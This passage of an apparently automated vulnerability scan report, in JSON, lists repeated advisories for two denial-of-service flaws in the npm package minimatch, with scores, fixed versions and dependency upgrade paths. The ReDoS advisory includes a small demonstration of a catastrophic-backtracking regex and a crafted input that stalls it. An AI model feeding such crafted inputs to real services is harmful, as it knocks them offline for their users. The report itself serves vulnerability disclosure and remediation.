occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "npm-profile@12.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 